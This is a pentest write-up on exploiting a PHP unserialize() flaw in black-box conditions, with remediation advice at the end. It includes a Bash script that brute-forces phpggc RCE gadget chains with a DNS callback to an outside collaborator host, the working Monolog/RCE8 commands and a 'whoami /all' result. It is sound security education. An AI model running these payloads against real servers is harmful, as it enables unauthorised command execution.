Deserialisation vulnerabilities are often difficult to exploit. In most cases, you need access to the source code to identify the available classes or libraries used. This allows you to choose a suitable gadget chain or build a new one.
However, access to the source code is not always possible. It generally requires high privileges or the prior exploitation of another vulnerability.
In this article, we present a concrete case of exploitation carried out during an audit. A PHP deserialisation vulnerability was identified and then exploited in black box conditions. The approach chosen was a brute force attack using gadget chain payloads. This method allowed commands to be executed on the targeted server.
The principle used here can be applied to other languages, such as Java or C#. Only the tools vary. To get the most out of this article, it is recommended that you have a basic understanding of deserialisation vulnerabilities. Proficiency in the Burp Suite tool is also an asset.
Identifying the Vulnerability
Here, the vulnerability was easy to spot. While testing the various features of the web application, we noticed that several of them transmitted a value encoded in base64.
Here is an example of a request:
POST /data/task.php HTTP/2
Host: [REDACTED]
Cookie: [REDACTED]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 258
datas=YToyOntzOjQ6ImNhbGwiO3M6MTE6InRyYWNrT3B0aW9uIjtzOjY6InN0YXR1cyI7YjowO30%3D
And the server’s response:
HTTP/2 200 OK
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json
Content-Length: 11
{"state":1}
Once the value has been decoded from base64, we obtain a serialised object:
a:2:{s:4:"call";s:11:"trackOption";s:6:"status";b:0;}
The prefix a
indicates that this is an associative array containing two key-value pairs. It contains a key called call
associated with the value trackOption
, as well as a key called status
whose value is a Boolean set to false
.
This format typically corresponds to data generated by PHP’s serialise()
function.
When a serialised object is transmitted by the user, it is very likely that the server will use the unserialise()
function to interpret it. This suggests the existence of server-side deserialisation, which represents a potential attack surface.
It now remains to understand how to exploit this vulnerability without knowing the libraries or classes available on the server.
Exploiting the Deserialisation Vulnerability
After identifying a serialised object transmitted by the application, the objective is to determine whether this vulnerability can be exploited to obtain Remote Command Execution (RCE). Without access to the source code, it was impossible to know the classes available on the server side, which complicated the development of a targeted exploit.
The approach taken was to test known ‘gadget chains’ using the phpggc tool, which lists many vulnerable PHP object chains.
Since it was unrealistic to test chains at random, a brute force strategy was implemented. This consisted of generating payloads for each RCE chain, then systematically testing them via the HTTP request’s datas
parameter.
A Bash script was adapted from a public gist to automatically generate valid phpggc payloads:
#!/bin/bash
function="system"
command="nslookup whatever.vaadatacollaborator.com"
options="-a -b -u -f"
phpggc -l | grep RCE | cut -d' ' -f1 | xargs -L 1 phpggc -i | grep 'phpggc ' --line-buffered |
while read line; do
gadget=$(echo $line | cut -d' ' -f2)
if echo $line | grep -q "<function> <parameter>"; then
phpggc $options $gadget "$function" "$command"
elif echo $line | grep -q "<code>"; then
phpggc $options $gadget "$function('$command');"
elif echo $line | grep -q "<command>"; then
phpggc $options $gadget "$command"
else
phpggc $options $gadget
fi
done
The injected command (nslookup
) targeted a server controlled by Vaadata. It enabled the effective execution of the payload to be detected via a DNS query.
Details of the options used:
-a
: encodes ASCII strings with their hexadecimal representation.-b
: encodes the payload in base64.-u
: applies URL encoding.-f
: forces the destruction of the object after deserialisation.
Brute force using Burp Suite
The generated payloads were inserted into a dictionary. Using Burp Suite’s Intruder, each payload was automatically tested by replacing the value of the datas
parameter.
Analysis of the requests identified a payload that triggered a different response from the server. This indicated that the Monolog/RCE8 chain was working. This confirmed that the Monolog library was indeed being used on the platform.
Commands used
Functional payload:
phpggc -a -b -u -f Monolog/RCE8 'system' 'nslookup whatever.vaadatacollaborator.fr'
Command execution:
phpggc -a -b -u -f Monolog/RCE8 'system' 'whoami /all'
Excerpt from the HTTP request:
POST /data/task.php HTTP/2
Host: [REDACTED]
Cookie: [REDACTED]
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
datas=YToyOntpOjc7TzoyODoiTW9ub2xvZ1xIYW5kbGVyXEdyb3VwSGFuZGxlciI6MTp7...
Response containing system user information:
User Name SID
================== ===============================================================
iis [REDACTED]
...
The execution of the command confirms the successful exploitation of the vulnerability.
Server-side verification
Once the source code was retrieved, deserialisation was confirmed in the PHP code:
$datas = unserialize(base64_decode((string) Call_getter::getOption('datas')));
What if no ‘Gadget Chain’ had worked?
In a scenario where no known chain can be used to exploit the vulnerability, the situation becomes more complex. Without source code, you need to identify the classes present on the server side in order to manually construct an execution chain.
The best strategy is to search for a vulnerability that allows files to be read on the server in order to retrieve the source code and dependencies.
For Java deserialisation, the GadgetProbe tool can be used to test class names and detect installed libraries. It works by generating payloads that trigger a DNS interaction if the class is loaded correctly.
This tool is also available in the Burp Suite BApp Store. Once the libraries have been identified, the associated public JAR files can be retrieved, and GadgetInspector can then be used to detect exploitable chains.
For more information, see the full article on GadgetProbe.
Remediation recommendations
In general, it is best to avoid transmitting data in serialised form, especially when it can be controlled by the user.
In the case studied, the first step is to review the entire code to identify calls to the unserialise()
function. No user-generated parameters should be directly passed to this function. If possible, it is even advisable to stop using it altogether.
If the use of serialised objects is really necessary in the parameters of a query, it is imperative to control their processing. This involves using secure libraries, such as Symfony’s Serializer component, which does not allow arbitrary class loading.
Another safer alternative is to replace PHP serialisation with a format such as JSON, which is better controlled and less exposed to the risks associated with deserialisation.
Author: Yoan MONTOYA – Pentester @Vaadata